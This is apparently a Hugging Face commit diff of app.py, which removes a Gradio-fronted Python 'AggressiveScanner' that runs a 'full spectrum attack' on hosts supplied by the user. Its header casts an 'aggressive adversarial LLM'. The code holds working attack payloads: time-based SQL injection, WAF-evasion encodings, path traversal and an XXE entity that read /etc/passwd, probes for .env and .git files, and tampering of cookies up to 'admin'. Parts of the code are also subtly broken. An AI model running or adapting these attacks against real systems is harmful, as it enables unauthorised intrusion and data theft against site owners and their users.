wuhp commited on
Commit
0386b4e
Β·
verified Β·
1 Parent(s): 7f79d5e

Update app.py

Browse files
Files changed (1) hide show
  1. app.py +332 -694
app.py CHANGED
@@ -3,741 +3,379 @@ import httpx
3
  import ssl
4
  import socket
5
  import re
6
- import hashlib
7
- from collections import defaultdict
8
- import json
9
  import time
10
  import pandas as pd
11
- import gradio as gr
12
  import dns.resolver
13
- from typing import Dict, List, Tuple
14
- import io
15
- import csv
16
-
17
- # SYSTEM MANDATE: AGGRESSIVE ADVERSARIAL LLM - UPGRADE LEVEL 2
18
- # Directive: Optimized for maximum tactical information gain and vulnerability verification.
 
 
 
 
 
 
 
 
 
 
 
 
 
 
19
 
20
- # Global configuration for aggression and timeouts
21
- SCAN_TIMEOUT = 5 # Aggressive timeout for individual network operations
22
- EXPLOIT_TIMEOUT = 10 # More time for potential exploit delivery and response
23
  HTTP_HEADERS = {
24
- "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.88 Safari/537.36",
25
- "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
26
- "Accept-Language": "en-US,en;q=0.5",
27
- "Connection": "keep-alive",
28
- "Cache-Control": "no-cache",
29
- "Pragma": "no-cache"
30
  }
31
 
32
- # --- RESULT CLASSIFICATION ---
33
- class Outcome:
34
- INFO = "INFO"
35
- LOW_RISK = "LOW_RISK"
36
- MEDIUM_RISK = "MEDIUM_RISK"
37
- HIGH_RISK = "HIGH_RISK"
38
- EXPLOIT_SUCCESS = "EXPLOIT_SUCCESS"
39
- VULNERABILITY_CONFIRMED = "VULNERABILITY_CONFIRMED"
40
- NO_VULNERABILITY = "NO_VULNERABILITY"
41
- ERROR = "ERROR"
42
-
43
- @staticmethod
44
- def format(level: str, message: str, detail: str = None) -> Dict[str, str]:
45
- return {"level": level, "message": message, "detail": detail}
46
-
47
- # --- CORE SCANNING ENGINE ---
48
- class AggressiveScanner:
49
- def __init__(self, target_host: str, target_port: int = None, stealth_mode: bool = False):
50
- self.target_host = target_host
51
- self.target_port = target_port
52
- self.client = httpx.AsyncClient(verify=False, timeout=SCAN_TIMEOUT, headers=HTTP_HEADERS, follow_redirects=True)
53
- self.results = defaultdict(list)
54
- self.target_url_base = f"http://{target_host}"
55
- self.target_url_base_https = None
56
-
57
- if target_port:
58
- self.target_url_base = f"http://{target_host}:{target_port}"
59
- if target_port in [80, 8080, 443, 8443]:
60
- self.target_url_base_https = f"https://{target_host}:{target_port}"
61
- else:
62
- self.target_url_base_https = f"https://{target_host}:{target_port}"
63
- else:
64
- self.target_url_base_https = f"https://{target_host}"
65
-
66
- self.is_stealth_mode = stealth_mode
67
-
68
- async def _log_result(self, phase: str, outcome: Dict[str, str]):
69
- """Standardized logging of results."""
70
- self.results[phase].append(outcome)
71
- level = outcome['level']
72
- message = outcome['message']
73
- detail = outcome['detail']
74
-
75
- print(f"\n[{phase.upper()}] [{level}] {message} - {self.target_host}{':' + str(self.target_port) if self.target_port else ''}")
76
- if detail:
77
- print(f" Detail: {detail}")
78
-
79
- async def run_full_spectrum_attack(self):
80
- """Orchestrates the full reconnaissance and exploitation sequence."""
81
- print(f"\n{'=================================================='}")
82
- print(f"[INITIATING FULL SPECTRUM ATTACK on {self.target_host}{':' + str(self.target_port) if self.target_port else ''}]")
83
- print(f"{'=================================================='}\n")
84
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
85
  try:
86
- # 1. Passive Reconnaissance (The Fingerprint)
87
- await self._log_result("passive_recon", Outcome.format(Outcome.INFO, "Starting Passive Reconnaissance"))
88
- await self.probe_tls_ssl()
89
- await self.probe_http_headers()
90
- await self.dns_enumeration()
91
-
92
- # 2. Proactive Probing (The Hunt)
93
- await self._log_result("proactive_probing", Outcome.format(Outcome.INFO, "Starting Proactive Probing"))
94
- await self.directory_bruteforcing()
95
- await self.time_based_sql_injection_probe()
96
- await self.waf_evasion_tests()
97
-
98
- # 3. Active Exploitation (The Punch)
99
- await self._log_result("active_exploitation", Outcome.format(Outcome.INFO, "Starting Active Exploitation"))
100
- await self.execute_targeted_payloads()
101
 
 
 
 
 
 
102
  finally:
103
- # Ensure the HTTP client is closed after the scan to prevent unclosed connection warnings
104
  await self.client.aclose()
105
-
106
- print(f"\n{'=================================================='}")
107
- print(f"[FULL SPECTRUM ATTACK COMPLETE for {self.target_host}{':' + str(self.target_port) if self.target_port else ''}]")
108
- print(f"{'=================================================='}\n")
109
- return self.results
110
-
111
- # --- 1. Passive Reconnaissance (The Fingerprint) ---
112
-
113
- async def probe_tls_ssl(self):
114
- """Determines TLS version, supported cipher suites, and performs TLS downgrade attack."""
115
- context = ssl.create_default_context()
116
- context.check_hostname = False
117
- context.verify_mode = ssl.CERT_NONE
118
-
119
- try:
120
- sock = socket.create_connection((self.target_host, self.target_port if self.target_port else 443), timeout=SCAN_TIMEOUT)
121
- ssl_sock = context.wrap_socket(sock, do_handshake_on_connect=True)
122
-
123
- tls_version = ssl_sock.version()
124
- await self._log_result("passive_recon", Outcome.format(Outcome.INFO, f"TLS/SSL Version: {tls_version}"))
125
 
126
- weak_tls_versions = ["TLSv1", "TLSv1.1"]
127
- if tls_version in weak_tls_versions:
128
- await self._log_result("passive_recon", Outcome.format(Outcome.HIGH_RISK, f"Weak TLS version detected: {tls_version}", "Initiating SSL/TLS Downgrade Attack."))
129
- await self.attempt_tls_downgrade(ssl_sock)
130
-
131
- cipher_suites = [c["name"] for c in ssl_sock.get_ciphers()]
132
- await self._log_result("passive_recon", Outcome.format(Outcome.INFO, f"Supported Cipher Suites ({len(cipher_suites)}):", ", ".join(cipher_suites)))
133
-
134
- # JA3 Fingerprint (Simplified)
135
- client_hello_signature = "Not captured (requires raw packet inspection)"
136
- await self._log_result("passive_recon", Outcome.format(Outcome.INFO, "JA3 Fingerprint (Client Hello):", client_hello_signature))
137
-
138
- ssl_sock.close()
139
- sock.close()
140
-
141
- except ssl.SSLError as e:
142
- await self._log_result("passive_recon", Outcome.format(Outcome.LOW_RISK, f"TLS/SSL Handshake Failed or No TLS on port {self.target_port or 443}", str(e)))
143
- except socket.timeout:
144
- await self._log_result("passive_recon", Outcome.format(Outcome.LOW_RISK, f"TLS/SSL Handshake timed out on port {self.target_port or 443}"))
145
- except Exception as e:
146
- await self._log_result("passive_recon", Outcome.format(Outcome.ERROR, f"Error during TLS/SSL probing on port {self.target_port or 443}", str(e)))
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
147
 
148
- async def attempt_tls_downgrade(self, ssl_sock: ssl.SSLSocket):
149
- """Runs a quick test to see if the target responds differently to a forced weak TLS."""
150
  try:
151
- ssl_sock.version()
152
- ssl_sock.sendall(b"GET /test HTTP/1.1\r\nHost: {self.target_host}\r\nConnection: close\r\n\r\n".encode('utf-8'))
 
 
 
 
 
 
 
 
 
153
 
154
- response_bytes = await self.client.get(f"http://{self.target_host}:443/test", timeout=SCAN_TIMEOUT)
155
-
156
- if response_bytes.status_code != 400:
157
- await self._log_result("passive_recon", Outcome.format(Outcome.HIGH_RISK, "TLS Downgrade SUCCESS!",
158
- f"Target served response via forced TLSv1.x handshake. Potential downgrade attack vector found."
159
- f" Status Code: {response_bytes.status_code}"))
160
 
161
- except Exception as e:
162
- await self._log_result("passive_recon", Outcome.format(Outcome.LOW_RISK, "TLS Downgrade Attempt FAILED.", str(e)))
163
-
164
- async def probe_http_headers(self):
165
- """Extracts and analyzes X-Powered-By, Server header, and inspects Set-Cookie attributes."""
166
- urls_to_test = [self.target_url_base_https, self.target_url_base]
167
-
168
- for url_base in list(set(urls_to_test)):
169
- if not url_base: # Skip None values
170
- continue
171
- try:
172
- response = await self.client.get(url_base, timeout=SCAN_TIMEOUT)
173
- headers = response.headers
174
- await self._log_result("passive_recon", Outcome.format(Outcome.INFO, f"HTTP Headers for {url_base}:", f"Status: {response.status_code}"))
175
-
176
- # X-Powered-By
177
- x_powered_by = headers.get("X-Powered-By")
178
- if x_powered_by:
179
- await self._log_result("passive_recon", Outcome.format(Outcome.INFO, "X-Powered-By Detected", x_powered_by))
180
- if "PHP" in x_powered_by:
181
- await self._log_result("passive_recon", Outcome.format(Outcome.INFO, "PHP detected.", "Ready for PHP Unserialize/FI payloads."))
182
- if "ASP.NET" in x_powered_by:
183
- await self._log_result("passive_recon", Outcome.format(Outcome.INFO, "ASP.NET detected.", "Ready for .NET specific payloads."))
184
-
185
- # Server Header
186
- server_header = headers.get("Server")
187
- if server_header:
188
- await self._log_result("passive_recon", Outcome.format(Outcome.INFO, "Server Header Detected", server_header))
189
- if "nginx" in server_header.lower():
190
- await self._log_result("passive_recon", Outcome.format(Outcome.INFO, "Nginx server detected.", "Ready for XXE and Header Injection payloads."))
191
- elif "apache" in server_header.lower():
192
- await self._log_result("passive_recon", Outcome.format(Outcome.INFO, "Apache HTTP Server detected.", "Ready for dynamic Path Traversal payloads."))
193
-
194
- # Set-Cookie Attributes
195
- set_cookie_headers = headers.get_list("Set-Cookie")
196
- for cookie_str in set_cookie_headers:
197
- parts = [part.strip() for part in cookie_str.split(';') if part.strip()]
198
- cookie_name = parts[0].split('=')[0]
199
- cookie_value = parts[0].split('=', 1)[1] if len(parts[0].split('=')) > 1 else ""
200
-
201
- await self._log_result("passive_recon", Outcome.format(Outcome.INFO, f"Cookie Detected: {cookie_name}", f"Value: {cookie_value}"))
202
-
203
- if "HttpOnly" not in cookie_str:
204
- await self._log_result("passive_recon", Outcome.format(Outcome.MEDIUM_RISK, "Cookie missing HttpOnly flag", f"Vulnerable to XSS attacks."))
205
- if "Secure" not in cookie_str and url_base.startswith("https"):
206
- await self._log_result("passive_recon", Outcome.format(Outcome.LOW_RISK, "Cookie missing Secure flag over HTTPS", "Risk of sniffing."))
207
-
208
- except httpx.RequestError as e:
209
- await self._log_result("passive_recon", Outcome.format(Outcome.ERROR, f"HTTP request failed for {url_base}", str(e)))
210
- except Exception as e:
211
- await self._log_result("passive_recon", Outcome.format(Outcome.ERROR, f"Error during HTTP header probing for {url_base}", str(e)))
212
-
213
- async def dns_enumeration(self):
214
- """Queries MX, SPF, and DKIM records to profile the target's email infrastructure."""
215
- try:
216
- domain = self.target_host.split(":")[0]
217
-
218
- # MX Records
219
- try:
220
- mx_records = [str(r.exchange) for r in dns.resolver.resolve(domain, 'MX')]
221
- await self._log_result("passive_recon", Outcome.format(Outcome.INFO, "MX Records Detected:", ", ".join(mx_records)))
222
- except dns.resolver.NXDOMAIN:
223
- await self._log_result("passive_recon", Outcome.format(Outcome.LOW_RISK, "No MX records found."))
224
- except Exception as e:
225
- await self._log_result("passive_recon", Outcome.format(Outcome.ERROR, "MX query error", str(e)))
226
-
227
- # SPF/DKIM
228
- for record_type, name in [('TXT', 'spf'), ('TXT', 'default._domainkey')]:
229
  try:
230
- records = [txt.to_text() for txt in dns.resolver.resolve(f"{name}.{domain}", record_type)]
 
 
 
231
 
232
- if record_type == 'TXT' and name.endswith('_domainkey'):
233
- await self._log_result("passive_recon", Outcome.format(Outcome.INFO, f"DKIM Record Detected ({name}):", records[0]))
234
- elif record_type == 'TXT' and "v=spf1" in records[0]:
235
- await self._log_result("passive_recon", Outcome.format(Outcome.INFO, f"SPF Record Detected ({name}):", records[0]))
236
- except dns.resolver.NXDOMAIN:
237
- await self._log_result("passive_recon", Outcome.format(Outcome.LOW_RISK, f"No {name} record found."))
238
- except Exception as e:
239
- await self._log_result("passive_recon", Outcome.format(Outcome.ERROR, f"{name} query error", str(e)))
240
-
241
- except Exception as e:
242
- await self._log_result("passive_recon", Outcome.format(Outcome.ERROR, "Generic DNS enumeration error", str(e)))
243
-
244
-
245
- # --- 2. Proactive Probing (The Hunt) ---
246
-
247
- async def directory_bruteforcing(self):
248
- """Aggressively probes common paths to map the attack surface."""
249
- common_paths = [
250
- "/admin/", "/panel/", "/login/", "/dashboard/", "/manager/",
251
- "/phpmyadmin/", "/wp-admin/", "/cpanel/", "/api/", "/v1/",
252
- "/test/", "/backup/", "/.git/HEAD", "/.env", "/robots.txt", "/sitemap.xml",
253
- "/administrator/", "/dev/"
254
- ]
255
-
256
- urls_to_test = [self.target_url_base_https, self.target_url_base]
257
-
258
- tasks = []
259
- for url_base in list(set(urls_to_test)):
260
- if not url_base: # Skip None values
261
- continue
262
- for path in common_paths:
263
- full_url = f"{url_base}{path}"
264
- tasks.append(self._probe_path(full_url, path))
265
-
266
- await asyncio.gather(*tasks)
267
-
268
- async def _probe_path(self, url: str, path_hint: str):
269
- """Helper to probe a single path and log the result."""
270
- try:
271
- response = await self.client.get(url, timeout=SCAN_TIMEOUT)
272
- log_level = Outcome.HIGH_RISK if not self.is_stealth_mode else Outcome.INFO
273
-
274
- if 200 <= response.status_code < 300:
275
- msg = f"Directory/File Found ({response.status_code})"
276
- detail = f"URL: {url}, Status: {response.status_code}, Length: {len(response.text)}"
277
- if "admin" in path_hint.lower() or "panel" in path_hint.lower():
278
- msg = "Administrative Panel Found"
279
- elif "api" in path_hint.lower():
280
- msg = "API Endpoint Found"
281
- elif self.is_stealth_mode and response.status_code == 200:
282
- msg = "Path Found (Stealth Check)"
283
-
284
- await self._log_result("proactive_probing", Outcome.format(log_level, msg, detail))
285
- return
286
- elif 300 <= response.status_code < 400:
287
- await self._log_result("proactive_probing", Outcome.format(log_level, f"Redirection Found ({response.status_code}): {path_hint}", f"URL: {url}, Redirect: {response.headers.get('Location')}"))
288
- elif response.status_code in [401, 403]:
289
- await self._log_result("proactive_probing", Outcome.format(log_level, f"Restricted Resource ({response.status_code}): {path_hint}", f"URL: {url}, Status: {response.status_code}"))
290
- elif response.status_code == 500:
291
- await self._log_result("proactive_probing", Outcome.format(log_level, f"Server Error (500) on path: {path_hint}", f"URL: {url}, Status: {response.status_code}, Content Snippet: '{response.text[:200]}...'"))
292
-
293
- except httpx.RequestError as e:
294
- if not isinstance(e, httpx.HTTPStatusError) or e.response.status_code not in [404, 400]:
295
- await self._log_result("proactive_probing", Outcome.format(Outcome.ERROR, f"Error probing path {url}", str(e)))
296
- except Exception as e:
297
- await self._log_result("proactive_probing", Outcome.format(Outcome.ERROR, f"Unexpected error probing path {url}", str(e)))
298
-
299
-
300
- async def time_based_sql_injection_probe(self):
301
- """Sends high-load requests and measures latency to confirm SQLi vulnerability."""
302
- injection_points = [
303
- "/search?q=test",
304
- "/products?id=1",
305
- "/news?article_id=1",
306
- "/user/view?id=5",
307
- ]
308
-
309
- urls_to_test = [self.target_url_base_https, self.target_url_base]
310
- base_latency = 0
311
-
312
- try:
313
- start_time = time.time()
314
- await self.client.get(self.target_url_base + "/", timeout=SCAN_TIMEOUT)
315
- base_latency = time.time() - start_time
316
- await self._log_result("proactive_probing", Outcome.format(Outcome.INFO, "Baseline HTTP latency", f"{base_latency:.3f} seconds"))
317
- except httpx.RequestError:
318
- await self._log_result("proactive_probing", Outcome.format(Outcome.LOW_RISK, "Could not establish baseline latency.", "Skipping time-based probe."))
319
- return
320
-
321
- tasks = []
322
- for url_base in list(set(urls_to_test)):
323
- if not url_base: # Skip None values
324
- continue
325
- for endpoint in injection_points:
326
- tasks.append(self._probe_time_sql_i(url_base, endpoint, base_latency))
327
-
328
- await asyncio.gather(*tasks)
329
- await self._log_result("proactive_probing", Outcome.format(Outcome.INFO, "Time-Based SQL Injection probing completed."))
330
-
331
- async def _probe_time_sql_i(self, url_base: str, endpoint: str, base_latency: float):
332
- payload_sleep = "1' AND (SELECT SUBSTRING((SELECT version()), 1, 1) = '8') AND (SELECT SLEEP(5))--"
333
- payload_url = f"{url_base}{endpoint}{payload_sleep}"
334
-
335
- try:
336
- start_time = time.time()
337
- response = await self.client.get(payload_url, timeout=EXPLOIT_TIMEOUT)
338
- latency = time.time() - start_time
339
-
340
- if latency > base_latency + 3.5:
341
- extracted_data_check = "8" in response.text
342
-
343
- msg = "Time-Based SQLi CONFIRMED"
344
- detail = f"URL: {payload_url}, Latency: {latency:.3f}s (Base: {base_latency:.3f}s). Status: {response.status_code}"
345
-
346
- if extracted_data_check:
347
- detail += " | DATA EXTRACTION DETECTED"
348
- level = Outcome.EXPLOIT_SUCCESS
349
- else:
350
- detail += " | TIME DELAY DETECTED"
351
- level = Outcome.VULNERABILITY_CONFIRMED
352
-
353
- await self._log_result("proactive_probing", Outcome.format(level, msg, detail))
354
-
355
- except httpx.TimeoutException:
356
- await self._log_result("proactive_probing", Outcome.format(Outcome.VULNERABILITY_CONFIRMED, "Time-Based SQLi CONFIRMED (Timeout)", f"URL: {payload_url}. Request timed out (Expected delay)."))
357
- except httpx.RequestError as e:
358
- await self._log_result("proactive_probing", Outcome.format(Outcome.ERROR, f"Error during SQLi probe for {payload_url}", str(e)))
359
- except Exception as e:
360
- await self._log_result("proactive_probing", Outcome.format(Outcome.ERROR, f"Unexpected error during SQLi probe for {payload_url}", str(e)))
361
-
362
-
363
- async def waf_evasion_tests(self):
364
- """Tests common payloads across various encoding schemes to find WAF bypasses."""
365
- test_payloads = ["' OR 1=1--", "UNION SELECT NULL,NULL--", "<script>alert('XSS')</script>", "../../etc/passwd"]
366
- encoding_strategies = {
367
- "URL_ENCODING": lambda p: p.replace("'", "%27").replace(" ", "%20"),
368
- "DOUBLE_URL_ENCODING": lambda p: p.replace('%', '%%').replace("'", "%2527").replace(" ", "%2520"),
369
- "HTML_ENTITY_ENCODING": lambda p: p.replace("<", "&#x3c;").replace(">", "&#x3e;").replace("'", "&#x27;")
370
- }
371
- target_endpoint = "/search?query="
372
- urls_to_test = [self.target_url_base_https, self.target_url_base]
373
-
374
- for url_base in list(set(urls_to_test)):
375
- if not url_base: # Skip None values
376
- continue
377
- for payload_raw in test_payloads:
378
- for strategy_name in encoding_strategies.keys():
379
- encoded_payload = encoding_strategies[strategy_name](payload_raw)
380
- full_url = f"{url_base}{target_endpoint}{encoded_payload}"
381
-
382
- try:
383
- response = await self.client.get(full_url, timeout=SCAN_TIMEOUT)
384
- if response.status_code == 200 and "blocked" not in response.text.lower() and "error" not in response.text.lower():
385
- await self._log_result("proactive_probing", Outcome.format(Outcome.VULNERABILITY_CONFIRMED, f"WAF Evasion SUCCESS! ({strategy_name})",
386
- f"Payload: '{payload_raw[:50]}...', Status: {response.status_code}"))
387
- elif 400 <= response.status_code < 500 and ("blocked" in response.text.lower() or response.status_code in [403, 406]):
388
- await self._log_result("proactive_probing", Outcome.format(Outcome.LOW_RISK, f"WAF Blocked Payload ({strategy_name})",
389
- f"Payload: '{payload_raw[:50]}...', Status: {response.status_code}"))
390
- except httpx.RequestError as e:
391
- await self._log_result("proactive_probing", Outcome.format(Outcome.ERROR, f"Error during WAF evasion test with {strategy_name}", str(e)))
392
-
393
-
394
- # --- 3. Active Exploitation (The Punch) ---
395
-
396
- async def execute_targeted_payloads(self):
397
- """Executes tailored requests based on detected services, prioritizing confidence."""
398
- await self._log_result("active_exploitation", Outcome.format(Outcome.INFO, "Initiating intelligent payload attacks."))
399
-
400
- server_info = ""
401
- x_powered_by_info = ""
402
- cookie_details = []
403
-
404
- for res in self.results.get("passive_recon", []):
405
- if res['message'] == "Server Header Detected":
406
- server_info = res['detail'].lower()
407
- if res['message'] == "X-Powered-By Detected":
408
- x_powered_by_info = res['detail'].lower()
409
- if "Cookie Detected" in res['message']:
410
- parts = [part.strip() for part in res['detail'].split(': ')[-1].split(';')]
411
- cookie_name = parts[0].split('=')[0]
412
- cookie_value = parts[0].split('=', 1)[1] if len(parts[0].split('=')) > 1 else ""
413
- cookie_details.append({"name": cookie_name, "value": cookie_value})
414
-
415
- # A. Apache Path Traversal (Dynamic)
416
- if "apache" in server_info:
417
- await self._log_result("active_exploitation", Outcome.format(Outcome.INFO, "Apache Target: Attempting Dynamic Path Traversal..."))
418
-
419
- base_path_clean = "/".join(self.target_url_base.split('/')[:-1])
420
- num_traversals = len(base_path_clean.strip('/')) + 1
421
- dynamic_path = "../" * num_traversals
422
-
423
- paths_to_test = [
424
- f"{dynamic_path}etc/passwd",
425
- f"{dynamic_path}windows/win.ini",
426
- f"{dynamic_path}app.js"
427
- ]
428
- await self._run_exploitation_test(paths_to_test, "Apache Traversal", "Path Traversal")
429
-
430
- # B. Nginx Exploitation (XXE & Header Injection)
431
- if "nginx" in server_info:
432
- await self._log_result("active_exploitation", Outcome.format(Outcome.INFO, "Nginx Target: Testing XXE and Header Injection..."))
433
- await self._run_xxe_test()
434
- await self._run_header_injection_test()
435
-
436
- # C. PHP Exploitation (Unserialize/File Inclusion)
437
- if "php" in x_powered_by_info:
438
- await self._log_result("active_exploitation", Outcome.format(Outcome.INFO, "PHP Target: Attempting RCE/FI payloads..."))
439
-
440
- php_paths = [
441
- "/index.php?data=",
442
- "/include/config.php"
443
- ]
444
- await self._run_exploitation_test(php_paths, "PHP Unserialize/FI", "PHP")
445
-
446
- # D. Cookie Tampering Payload
447
- if cookie_details:
448
- await self._log_result("active_exploitation", Outcome.format(Outcome.INFO, "Cookie Target: Attempting privilege escalation..."))
449
- target_cookie_detail = next((c for c in cookie_details if 'user' in c['name'].lower() or 'role' in c['name'].lower()), cookie_details[0])
450
-
451
- cookie_name = target_cookie_detail['name']
452
- original_value = target_cookie_detail['value']
453
- tamper_value = "admin"
454
-
455
- await self._run_cookie_tampering_test(cookie_name, original_value, tamper_value)
456
-
457
- # E. C2 Beaconing Payload (Generic)
458
- await self._log_result("active_exploitation", Outcome.format(Outcome.INFO, "Running generic C2 beacon check..."))
459
- beacon_paths = ["/beacon", "/c2_check", "/login?secret=cobalt"]
460
- await self._run_exploitation_test(beacon_paths, "C2 Beaconing", "Generic")
461
-
462
 
463
- async def _run_exploitation_test(self, paths: list[str], attack_name: str, attack_type: str):
464
- urls_to_test = [self.target_url_base_https, self.target_url_base]
465
- tasks = []
466
-
467
- for url_base in list(set(urls_to_test)):
468
- if not url_base: # Skip None values
469
- continue
470
- for path in paths:
471
- full_url = f"{url_base}{path}"
472
- tasks.append(self._single_exploit_request(full_url, attack_name, attack_type))
473
-
474
- await asyncio.gather(*tasks)
475
-
476
- async def _single_exploit_request(self, url: str, attack_name: str, attack_type: str):
477
- try:
478
- response = await self.client.get(url, timeout=EXPLOIT_TIMEOUT)
479
- status_code = response.status_code
480
- content_snippet = response.text[:200].replace('\n', ' ')
481
-
482
- is_successful = False
483
- outcome_level = Outcome.MEDIUM_RISK
484
-
485
- if status_code == 200 and ("etc/passwd" in content_snippet or "root:" in content_snippet):
486
- is_successful = True
487
- outcome_level = Outcome.EXPLOIT_SUCCESS
488
- elif status_code == 200 and ("admin" in content_snippet or "administrator" in content_snippet):
489
- is_successful = True
490
- outcome_level = Outcome.HIGH_RISK
491
- elif status_code == 500 and ("sql syntax" in content_snippet or "unserialize" in content_snippet):
492
- is_successful = True
493
- outcome_level = Outcome.HIGH_RISK
494
- elif 300 <= status_code < 400:
495
- is_successful = True
496
- outcome_level = Outcome.MEDIUM_RISK
497
-
498
- msg = f"{attack_name} Triggered ({attack_type})"
499
- detail = f"URL: {url}, Status: {status_code}, Snippet: '{content_snippet}'"
500
-
501
- if is_successful:
502
- final_msg = f"βœ… {msg} CONFIRMED!"
503
- else:
504
- final_msg = f"πŸ” {msg} PROBED"
505
-
506
- await self._log_result("active_exploitation", Outcome.format(outcome_level, final_msg, detail))
507
 
508
- except httpx.RequestError as e:
509
- await self._log_result("active_exploitation", Outcome.format(Outcome.ERROR, f"Error during {attack_name} attempt on {url}", str(e)))
510
  except Exception as e:
511
- await self._log_result("active_exploitation", Outcome.format(Outcome.ERROR, f"Unexpected error during {attack_name} attempt on {url}", str(e)))
512
-
513
- async def _run_xxe_test(self):
514
- xxe_payload = """
515
- <!DOCTYPE foo [
516
- <!ENTITY xxe SYSTEM "file:///etc/passwd">
517
- ]>
518
- <root><data>&xxe;</data></root>
519
- """
520
- target_endpoint = "/api/xml_parser"
521
- if not target_endpoint in self.target_url_base:
522
- target_endpoint = "/test_xml"
523
-
524
- full_url = self.target_url_base_https if self.target_url_base_https else self.target_url_base + target_endpoint
525
-
526
- await self._log_result("active_exploitation", Outcome.format(Outcome.INFO, "Executing Nginx XXE Payload..."))
527
-
528
- try:
529
- response = await self.client.post(full_url, data=xxe_payload, timeout=EXPLOIT_TIMEOUT)
530
- content_snippet = response.text[:150].replace('\n', ' ')
531
-
532
- if "root:" in content_snippet or "daemon:" in content_snippet or "bin/bash" in content_snippet:
533
- await self._log_result("active_exploitation", Outcome.format(Outcome.EXPLOIT_SUCCESS, "Nginx XXE CONFIRMED!",
534
- f"Target reflected /etc/passwd content! Status: {response.status_code}"))
535
- else:
536
- await self._log_result("active_exploitation", Outcome.format(Outcome.INFO, "Nginx XXE PROBED.",
537
- f"Status: {response.status_code}. Check for content reflection. Snippet: '{content_snippet}'"))
538
-
539
- except httpx.RequestError as e:
540
- await self._log_result("active_exploitation", Outcome.format(Outcome.ERROR, "Error during XXE test", str(e)))
541
-
542
- async def _run_header_injection_test(self):
543
- injection_payload = "test%27%20UNION%20SELECT%20NULL,NULL,NULL--"
544
- target_endpoint = "/search?query="
545
- full_url = self.target_url_base_https if self.target_url_base_https else self.target_url_base + target_endpoint
546
-
547
- await self._log_result("active_exploitation", Outcome.format(Outcome.INFO, "Executing Nginx Header Injection Payload..."))
548
-
549
- try:
550
- response = await self.client.get(full_url, timeout=EXPLOIT_TIMEOUT)
551
-
552
- if "UNION SELECT NULL,NULL,NULL--" in response.text:
553
- await self._log_result("active_exploitation", Outcome.format(Outcome.EXPLOIT_SUCCESS, "Header Injection CONFIRMED!",
554
- f"Payload reflected in response body! Status: {response.status_code}"))
555
- else:
556
- await self._log_result("active_exploitation", Outcome.format(Outcome.INFO, "Header Injection PROBED.",
557
- f"Status: {response.status_code}. Check manually for reflection."))
558
-
559
- except httpx.RequestError as e:
560
- await self._log_result("active_exploitation", Outcome.format(Outcome.ERROR, "Error during Header Injection test", str(e)))
561
-
562
- async def _run_cookie_tampering_test(self, cookie_name: str, original_value: str, tamper_value: str):
563
- await self._log_result("active_exploitation", Outcome.format(Outcome.INFO, f"Tampering {cookie_name} from '{original_value}' to '{tamper_value}'..."))
564
-
565
- try:
566
- response = await self.client.get(self.target_url_base, cookies={cookie_name: tamper_value}, timeout=EXPLOIT_TIMEOUT)
567
- content_snippet = response.text[:200].replace('\n', ' ')
568
-
569
- if "admin" in content_snippet.lower() or "administrator" in content_snippet.lower():
570
- await self._log_result("active_exploitation", Outcome.format(Outcome.EXPLOIT_SUCCESS, "Cookie Tampering SUCCESS!",
571
- f"Privilege escalated! Server accepted '{tamper_value}' for {cookie_name}. Status: {response.status_code}"))
572
- else:
573
- await self._log_result("active_exploitation", Outcome.format(Outcome.INFO, "Cookie Tampering PROBED.",
574
- f"Status: {response.status_code}. Check if the page reflects the '{tamper_value}' value."))
575
-
576
- except httpx.RequestError as e:
577
- await self._log_result("active_exploitation", Outcome.format(Outcome.ERROR, f"Error during Cookie Tampering test", str(e)))
578
 
579
 
580
- # --- INPUT HANDLING LOGIC ---
581
 
582
- def _parse_targets(file_paths, manual_text: str) -> List[Tuple[str, int]]:
583
- """
584
- Parses targets either from CSV file(s) or a manual text block.
585
- Returns a list of (host, port) tuples.
586
- """
587
  targets = []
588
-
589
- if file_paths:
590
- if not isinstance(file_paths, list):
591
- file_paths = [file_paths]
592
-
593
- for file_obj in file_paths:
594
- if hasattr(file_obj, 'name'): # It's a file object from Gradio
595
- file_path = file_obj.name
596
- else: # It's a string path
597
- file_path = file_obj
598
-
599
- print(f"[*] Parsing targets from CSV file: {file_path}")
600
  try:
601
- with open(file_path, 'r') as f:
602
- reader = csv.reader(f)
603
- next(reader, None)
604
- for row in reader:
605
- if len(row) >= 2:
606
- host = row[0].strip()
607
- port_str = row[1].strip()
608
- try:
609
- port = int(port_str)
610
- targets.append((host, port))
611
- except ValueError:
612
- print(f"[!] Skipping invalid port in CSV row: {row}")
613
- except FileNotFoundError:
614
- print(f"[!] Error: CSV file not found at {file_path}")
615
- except Exception as e:
616
- print(f"[!] Error during CSV reading: {e}")
617
-
618
- if manual_text:
619
- print("[*] Parsing targets from manual text input...")
620
- for line in manual_text.strip().split('\n'):
621
- line = line.strip()
622
- if not line:
623
- continue
624
-
625
- if ':' in line and ',' not in line:
626
- parts = line.split(':')
627
- if len(parts) == 2:
628
- host = parts[0].strip()
629
- try:
630
- port = int(parts[1].strip())
631
- targets.append((host, port))
632
- continue
633
- except ValueError:
634
- pass
635
-
636
  if ',' in line:
637
- parts = [p.strip() for p in line.split(',')]
638
- if len(parts) >= 2:
639
- host = parts[0]
640
- try:
641
- port = int(parts[1])
642
- targets.append((host, port))
643
- continue
644
- except ValueError:
645
- print(f"[!] Skipping invalid port in manual entry: {line}")
646
-
647
- if re.match(r'^[\w.-]+$', line):
648
- targets.append((line, None))
649
  else:
650
- print(f"[!] Could not parse line: {line}")
651
-
652
- return targets
653
 
654
- # --- MAIN GRADIO/PANDAS EXECUTION BLOCK ---
 
 
 
 
655
 
656
- async def run_scan_and_get_report(file_paths, manual_text: str, stealth: bool) -> tuple[str, str]:
657
- targets_to_scan = _parse_targets(file_paths, manual_text)
658
 
659
- if not targets_to_scan:
660
- return "πŸ”΄ **INPUT REQUIRED:** Please provide targets via CSV or manual entry.", ""
661
-
662
- all_results: Dict[str, defaultdict] = defaultdict(lambda: defaultdict(list))
663
- all_findings = []
664
 
665
- print(f"\n\n{'='*60}")
666
- print(f"πŸš€ Starting Scan Sequence for {len(targets_to_scan)} Targets...")
667
- print(f"{'='*60}\n")
668
-
669
- for host, port in targets_to_scan:
670
